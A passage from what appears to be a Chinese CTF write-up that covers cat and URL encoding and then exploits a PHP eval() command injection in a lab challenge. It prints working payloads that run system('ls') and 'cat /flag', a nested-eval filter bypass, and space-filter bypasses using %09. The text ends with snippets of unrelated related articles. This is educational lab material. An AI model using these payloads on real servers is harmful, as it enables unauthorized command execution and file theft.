文件中的内容并将其输出至文件target.txt
中。若target.txt
并不存在,则创建它。若target.txt
已经存在,则覆盖它。cat file.txt > target.txt
II. 获取
file.txt
文件中的内容并将其输出至文件target.txt
中。若target.txt
并不存在,则创建它。若target.txt
已经存在,则将新获取到的内容追加到target.txt
文件中已有内容的末尾。cat file.txt >> target.txt
-
多个文件合并
cat
是concatenate
的缩写,意味连接
。cat
命令可以将多个文件的内容连接在一起
,并将结果输出到终端或另一个文件中。例如,要将file1.txt
和file2.txt
的内容连接并显示在终端上,可运行如下命令:cat file1.txt file2.txt
-
显示行号
在使用cat
命令的同时使用-n
选项。cat
将在获取到的每一行的内容的起始部分标注行号
。cat -n file.txt
URL 字符编码
URL 字符编码是一套转换依据,其功能主要有以下三点:
- 将非 ASCII 字符文本转换为 ASCII 字符文本
- 去除语义
- 将不可见字符(如空格)转换为可见文本
将非 ASCII 字符文本转换为 ASCII 字符文本
URL 中的中文等非 ASCII 字符在 通过网络传输前
需要通过 URL 编码进行转换以使其符合 URL 的设计原则(URL 基于 ASCII 字符集进行设计)
。
在 PHP 中,可通过内置函数 urlencode()
将非 ASCII 文本转换为 URL 编码字符。对此,请参考如下示例:
<?phpvar_dump(urlencode('Hello World'));
var_dump(urlencode('你好,中国'));
var_dump(urlencode('你好I am a space世界'));
执行效果
string(11) "Hello+World"
string(45) "%E4%BD%A0%E5%A5%BD%EF%BC%8C%E4%B8%AD%E5%9B%BD"
string(48) "%E4%BD%A0%E5%A5%BDI+am+a+space%E4%B8%96%E7%95%8C"
去除语义
URL 中的 特殊字符
需要通过 URL 字符编码来进行转换以使其 失去其在 URL 中的特殊含义
。
举个栗子
查询字符串由 一个或多个参数 组成,每个参数之间使用 &
符号 进行 分隔。如果查询字符串中的某一个参数中包含 &
符号,请问
阁下如何让程序将这个 &
理解为参数中的内容而不是参数与参数之间的连接标识呢?
此时,URL 字符编码 去除语义
的作用就体现出来了。通过将参数中的 &
进行 URL 编码以使得程序不再将其作为参数与参数之间的连接符来进行看待而只是将其视为普通的文本内容。
具体而言
?username=RedHeart&myflag=&x&
这段查询字符串仅包含两个参数,username
的参数值为 RedHeart
,而 myflag
的参数值为 &x&
。
但实际上
,这段查询字符串将被程序理解为三个参数,其中 username
的参数值为 RedHeart
,而 myflag
与 x
的参数值均为 空(什么也没有)
。
解决方案
将参数中的具有 URL 语义的特殊字符 &
转换为其对应的 URL 编码 %26
,使 &
失去其语义即可。
?username=RedHeart&myflag=%26x%26
将不可见字符(如空格)转换为可见文本
空格和其他 空白字符
在 URL 中 不易阅读
,可能导致 混淆或误解
。通过将空白字符转换为 可识别
的形式,能够增强 URL 的 可读性及准确性
。
注:
在 URL 中,空格将被转换为 +
,而制表符将被转换为 %09
。
捉迷藏
通过将 get
参数的值设置为 system()
语句,我们将能够使用命令行工具。ls
命令行工具将能够帮助我们摸清服务器的文件结构。对此,构造如下查询字符串:
?get=system('ls');
注:
get
参数的参数值将作为 eval()
函数的参数,而 eval()
函数将字符串形式的 PHP 代码进行执行,故请不要忘记 末尾的分号
,虽然这分号看着有些别扭,但这是有效 PHP 语句不可或缺的部分。
执行效果
?get=system('ls');
中的单引号将被浏览器进行 URL 编码
,其编码结果为 %27
。
破壁
flag.php
在列举当前工作目录中的文件时,我们发现了一个较为特殊的 PHP 文件 flag.php
。尝试使用 cat
命令行工具将其中的内容进行获取,构造如下查询字符串:
?get=system('cat flag.php');
不要忘记,F1l1l1l1l1lag.php
页面的三个判断语句将过滤 get
参数的值中的空格及 flag
文本。
嵌套 eval()
既然 get
参数的值存在限制,那么我们可以将 get
的值设置为 eval($_GET['?']);
(理论上,?
可以表示任何文本)来接收另一个参数名为 ?
的值并将其作为 PHP 代码执行。这样,判断语句将检查 get
参数,而实际起破坏作用的代码却被我们转移到了另一个参数 ?
中。对此,构造如下查询字符串:
?get=eval($_GET['x']);&x=system('cat flag.php');
执行效果
页面空空如也,是我们的想法禁不住考验吗?
还记得吗?PHP 代码的起始部分和结束部分(如果有的话)包含 尖括号
,而 HTML
页面会将尖括号包裹的内容视为标签用以构建页面的结构。虽然 <?php ... ?>
在 HTML
中并不能起到啥作用,但 HTML
已经将其视为功能性标签,故不会将其显示在页面中。
此时,我们需要访问页面的源代码以获取 flag.php
文件中的内容。快捷键 Ctrl-U
或 页面中右键点击查看源代码
以查看页面源代码。当然,你也可以通过浏览器提供的 开发者工具
查看页面源代码。
在页面的源代码中,我们获取到了这么一段 PHP 代码:
<?php
$FLAG = file_get_contents('/flag');?>
这段代码意在提示我们 真正的 flag
存在于文件 /flag
中。
/flag
构造如下查询字符串获取 /flag
中的内容即得 flag
。
?get=eval($_GET['x']);&x=system('cat /flag');
其他绕过姿势
实际上,这类命令执行漏洞的题目,flag
往往存在于 根目录下的某个文件
中。在大多数情况下,获取其他路径下的包含 flag
相关字样的文件(在本题中是 flag.php
)中的内容是多此一举。这意味着我们可以直接通过 cat
及通配符获取根路径 /
下的所有文件的内容。你可能会认为这将获取到 太多的文件内容
而导致目标内容 难以被筛选
出来。事实上,根路径下 多为目录
,而 cat
作用在目录上将 不会获取到任何内容
。
假使上述猜想成立,我们现在需要解决的问题就是 绕过判断语句对空格的过滤
。
借力打力
仔细观察 F1l1l1l1l1lag.php
页面中的源代码,你会发现第二个判断语句将空格过滤了但却执行了将 flag
替换为 空格
的操作,这意味着我们可以 将 flag 当作空格使用
。判断 get
参数值的长度是否大于 18 字节
语句在替换发生之后,因此使用 4 个字节大小的 flag
代替空格并 不会导致 get 参数值的长度大小控制过于窘迫
。
if (isset($_GET['get'])){$get=$_GET['get'];if(!strstr($get," ")){$get = str_ireplace("flag", " ", $get);if (strlen($get)>18){die("This is too long.");}else{eval($get);} }else {die("nonono"); }}
因此,使用如下查询字符串访问页面即可得 flag
:
?get=system('catflag/*');
%09
既然空格被过滤了,那我们可以尝试使用同为空白字符的 制表符
(大多数情况,Tab 键按下即得制表符)代替空格。但浏览器界面下,按下 Tab
键意味着 切换焦点元素
,这使得我们无法正常输入 制表符
。通过使用制表符的 URL 编码形式 %09
即可解决这个问题。
因此,使用如下查询字符串访问页面即可得 flag
:
?get=system('cat%09/*');
相关文章:
CTF 全讲解:[SWPUCTF 2022 新生赛]webdog1__start
文章目录 参考环境题目learning.php信息收集isset()GET 请求查询字符串全局变量 $_GET MD5 绕过MD5韧性脆弱性 md5()弱比较隐式类型转换字符串连接数学运算布尔判断 相等运算符 MD5 绕过科学计数法前缀 0E 与 0e绕过 start.php信息收集头部检索 f14g.php信息收集 探秘 F1l1l1l1…...
聊天机器人
收集窗帘相关的数据 可以用gpt生成,也可以用爬虫 图形化界面 gradio 向量数据库 faiss python代码 import gradio as gr import random import timefrom typing import Listfrom langchain.embeddings.openai import OpenAIEmbeddings from langchain.vectorstor…...
肖sir__mysql之综合题练习__013
数据库题(10*5) 下面是一个学生与课程的数据库,三个关系表为: 学生表S(Sid,SNAME,AGE,SEX) 成绩表SC(Sid,Cid,GRADE) 课程表C(Cid&…...
阿里云服务器部署安装hadoop与elasticsearch踩坑笔记
2023-09-12 14:00——2023.09.13 20:06 目录 00、软件版本 01、阿里云服务器部署hadoop 1.1、修改四个配置文件 1.1.1、core-site.xml 1.1.2、hdfs-site.xml 1.1.3、mapred-site.xml 1.1.4、yarn-site.xml 1.2、修改系统/etc/hosts文件与系统变量 1.2.1、修改主机名解…...
Golang 中 int 类型和字符串类型如何相互转换?
在日常开发中,经常需要将数字转换为字符串或者将字符串转换为数字。在 Golang 中,有一些很简便的方法可以实现这个功能,接下来就详细讲解一下如何实现 int 类型和字符串类型之间的互相转换。 使用 strconv 包 strconv 包提供的 Itoa 和 Ato…...
**20.迭代器模式(Iterator)
意图:提供一种方法顺序访问一个聚合对象中的各个元素,而又不需要暴露该对象的内部表示。 上下文:集合对象内部结构常常变化各异。对于这些集合对象,能否在不暴露其内部结构的同时,让外部Client透明地访问其中包含的元素…...
计算机视觉与深度学习 | 视觉里程计理论
===================================================== github:https://github.com/MichaelBeechan CSDN:https://blog.csdn.net/u011344545 ===================================================== 视觉里程计理论基础 1 、立体视觉中的三维测量及几何约束2 、立体视觉匹…...
Go网络请求中配置代理
如何配置代理 不配置代理,本地请求google等会超时 package mainimport ( "fmt" "net/http" "time")func main() { // 创建一个自定义的 Transport 实例 //transport : &http.Transport{ // Proxy: func(req *http.Request) (*url…...
【ArcGIS】基本概念-矢量空间分析
栅格数据与矢量数据 1.1 栅格数据 栅格图是一个规则的阵列,包含着一定数量的像元或者栅格 常用的栅格图格式有:tif,png,jpeg/jpg等 1.2 矢量数据 矢量图是由一组描述点、线、面,以及它们的色彩、位置的数据&#x…...
OSCP系列靶场-Esay-Moneybox保姆级
OSCP系列靶场-Esay-Moneybox 目录 OSCP系列靶场-Esay-Moneybox总结准备工作信息收集-端口扫描目标开放端口收集目标端口对应服务探测 信息收集-端口测试21-FTP端口的信息收集21-FTP版本版本信息21-FTP端口匿名登录测试(存在)21-FTP端口-文件GET收集21-FTP端口-PUT上传测试 22-S…...
[python 刷题] 128 Longest Consecutive Sequence
[python 刷题] 128 Longest Consecutive Sequence 题目: Given an unsorted array of integers nums, return the length of the longest consecutive elements sequence. You must write an algorithm that runs in O(n) time. 这题给了一个没有排序的数组&#x…...
SpringMVC之JSON数据返回与异常处理机制
目录 一.SpringMVC的JSON数据返回 1.导入Maven依赖 2.配置spring-mvc.xml 3.ResponseBody注解的使用 3.1案例演示 1.List集合转JSON 2.Map集合转JSON 3.返回指定格式String 4. ResponseBody用法 5.Jackson 5.1介绍 5.2常用注解 二.异常处理机制 1.为什么要全局异常处…...
【第四阶段】kotlin语言的定义类和field关键字学习
1.普通成员变量背后隐士代码 为什么在kotlin中是private 可以直接调用,隐式代码如下 package Kotlin.Stage4class Test54{var name"kotlin"/*背后做的事NotNullprivate String name"kotlin";public void setName(NotNull String name){this.na…...
OpenResty使用漏桶算法实现限流
前言 其它项目组需要调用接口,添加接口限流,防止项目被狂掉宕机。生产用了openresty,所以在openresty上添加按接口限流,同时,需按照不同接口有不同的限流规则,使用openresty中内置的漏桶算法方式限流。 漏…...
Activiti源码跟踪之模型Model操作
Activiti源码跟踪之模型Model操作 模型model设计到的表ACT_RE_MODEL、ACT_GE_BYTEARRAY ACT_RE_MODEL表结构: CREATE TABLE ACT_RE_MODEL (ID_ varchar(64) COLLATE utf8_bin NOT NULL,REV_ int(11) DEFAULT NULL,NAME_ varchar(255) COLLATE utf8_bin DEFAULT N…...
C#-WinForm-发送邮件
登录QQ邮箱——设置——开启“POP3/SMTP服务” 登陆QQ邮箱→打开设置→开启“POP3/SMTP服务”,获取“授权码” 简单总结一下: 1、使用SmtpClient发送电子邮件是很简单的,只要正确创建了MailMessage对象和SmtpClient就可以很容易的发送出去电…...
Springboot整合jdbc和Mybatis
目录 整合jdbc 1. 新建项目 2. 编写yaml配置文件连接数据库 3. 测试类 使用原生的jdbcTemplate进行访问测试 使用Druid连接池 1. 添加类型 2. 初始化连接池 3. 编写config类 配置Druid数据源监视 整合Mybatis 1. 导入依赖 2. 编写mapper接口 3. 编写实体类 4. 编…...
日常生活中的常用命令及操作
目录 一、Windows11 中查看网卡名称 及ip地址 二、查看硬件的详细信息 三、查看显卡声卡详细信息及厂商 四、C盘清理 第一步 输入wini 开启Windows设置主界面 第二步 存储中还有一个叫存储感知的功能 第三步 更改新内容的保存位置 第四步 怕误C盘内的东西可以 查看详细的…...
【C++杂货铺】国庆中秋特辑——多态由浅入深详细总结
文章目录 一、多态的概念二、多态的定义及实现2.1 多态的构成条件2.2 虚函数2.3 虚函数的重写2.4 虚函数重写的两个例外2.4.1 协变(基类与派生类虚函数返回值类型不同)2.4.2 析构函数的重写(基类与派生类析构函数的名字不同) 2.5 …...
MongoDB基础详解
一、MongoDB概述 MongoDB 是一个基于 分布式文件存储 的开源 NoSQL 数据库系统,由 C 编写的。MongoDB 提供了 面向文档 的存储方式,操作起来比较简单和容易,支持“无模式”的数据建模,可以存储比较复杂的数据类型,是一…...
解锁前端Vue3宝藏级资料 第五章 Vue 组件应用 4 ( provide 和 inject )
5.5 provide 和 inject 前面的知识告诉我们vue中组件之间传递值需要使用props来完成,但是props也有一定局限性。这个时候在vue3中还有另外的解决方法。那就是使用 provide 和 inject 允许父组件将数据传递给所有后代组件,而不管组件层次结构有多深。你要…...
【List篇】LinkedList 详解
目录 成员变量属性构造方法add(), 插入节点方法remove(), 删除元素方法set(), 修改节点元素方法get(), 取元素方法ArrayList 与 LinkedList的区别Java中的LinkedList是一种实现了List接口的 双向链表数据结构。链表是由一系列 节点(Node)组成的,每个节点包含了指向 上一个…...
推动统一供应链“度量衡”,上汽大通突破传统拥抱SaaS生态
中国汽车市场规模已连续14年位居世界第一,目前占世界汽车份额31%。近年来,物联网、人工智能、电池等技术的快速发展,也为中国从汽车大国逐步迈向汽车强国注入巨大动力。在新一轮的汽车产业变革中,构建一个更智能、更高效协同的供应…...
蓝牙核心规范(V5.4)10.9-BLE 入门笔记之GAP
1.概述 蓝牙核心规范的通用访问配置文件(GAP)部分定义了与设备发现和在两个设备之间建立连接有关的过程。如何执行数据的基本无连接通信、如何使用周期性广播(参见 PADVB-LE Periodic Advertising Broadcast)以及如何设置等时通信(参见 LE BIS和LE CIS - Isochronous Com…...
nginx 配置 ssl
1.1 Nginx如果未开启SSL模块,配置Https时提示错误 原因也很简单,nginx缺少http_ssl_module模块,编译安装的时候带上--with-http_ssl_module配置就行了,但是现在的情况是我的nginx已经安装过了,怎么添加模块࿰…...
家居设计软件Live Home 3D Pro mac中文版特点介绍
Live Home 3D Pro mac是一款专业的3D家居设计软件,可以帮助用户轻松创建和设计家居平面图和3D模型,并进行渲染和虚拟漫游。 Live Home 3D Pro mac软件特点 1. 界面友好:Live Home 3D Pro的界面友好,操作简单方便…...
OkHttp - 现代应用网络的方式
官网:Overview - OkHttp HTTP is the way modern applications network. It’s how we exchange data & media. Doing HTTP efficiently makes your stuff load faster and saves bandwidth. OkHttp is an HTTP client that’s efficient by default: HTTP/2 s…...
SpringBoot3基础:最简项目示例
说明 本文建立一个最基本的SpringBoot3项目,依赖项仅包含 spring-web(SpringMVC)。 备注:SpringBoot3需要JDK17支持,配置方法参考: SpringBoot3项目中配置JDK17 项目结构图示 POM <?xml version&qu…...
flex:1详解,以及flex:1和flex:auto的区别
什么是flex:1? 在css中,我们经常可以看到这样的写法: .box {display: flex; }.item {flex: 1; }这里的flex:1相当于flex: 1 1 0%,它是一个简写属性,表示项目(flex item)在弹性容器…...
在VMware虚拟机中固定CentOS系统ip(使用桥接模式)
目录 一、前置说明二、前置准备2.1、切换虚拟机网络为桥接模式2.2、查看本机网络信息 三、配置CentOS系统IP3.1、进入系统输入ip addr 查看本机网络配置名称3.2、查看网络配置目录,网络配置文件名称3.3、修改网络配置文件 ifcfg-ens33 固定IP3.4、重启网络 一、前置…...
有自己团队做网站上线多久/百度seo快速排名优化软件
Map 和 Set 目录 Map 和 Set 概念: 主要内容: Mao集合 Map的常用方法 注意事项 HashMap,TreeMap和LinkedHashMap TreeMap和HashMap的区别 Set集合 作用: 常用方法: 注意事项 Map 和 Set 概念: Map和…...
wordpress 路由/国外网站排行
如何得到资源文件中的文件作者:孟宪会 发表于:2003-07-25 17:29:58在应用程序里嵌入资源,可以避免用户因删除资源文件而造成应用程序出现错误。要使用资源文件中的文件,只需要按下面的方法调用即可: VB.NET Function G…...
丰台b2c网站制作价格/小红书搜索关键词排名
1.1 函数指针 1.1.1 基本概念 程序运行期间,每个函数都会占用一段连续的内存空间。而函数名就是该函数所占内存区域的起始地址(也称“入口地址”)。 我们可以将函数的入口地址赋给一个指针变量,使该指针变量指向该函数。然后通过指针变量就可以调用这个函…...
阿里云有主体新增网站/新东方留学机构官网
find 由于find具有强大的功能,所以它的选项也很多,其中大部分选项都值得我们花时间来了解一下。即使系统中含有网络文件系统( NFS),find命令在该文件系统中同样有效,只要你具有相应的权限。 在运行一个非常消耗资源的find命令时&a…...
互联网设计师leader/天津网站优化
题目一:一个有10亿条记录的文本文件,已按照关键字排好序存储,设计算法,可以快速的从文件中查找指定关键字的记录答案:10亿在 G量级, 分成100份, 为10M量级, 基本上放入内存无压力了.在这10亿记录中, 均分为100份, 把每…...
游戏推荐网站怎么做/一键优化表格
云开发(微信-小程序)笔记(十一)---- 分页,不简单啊 搜索的分类有单字段,多字段(或),多字段(并)搜索等 1.导入数据集 首先向数据库导入免费数据…...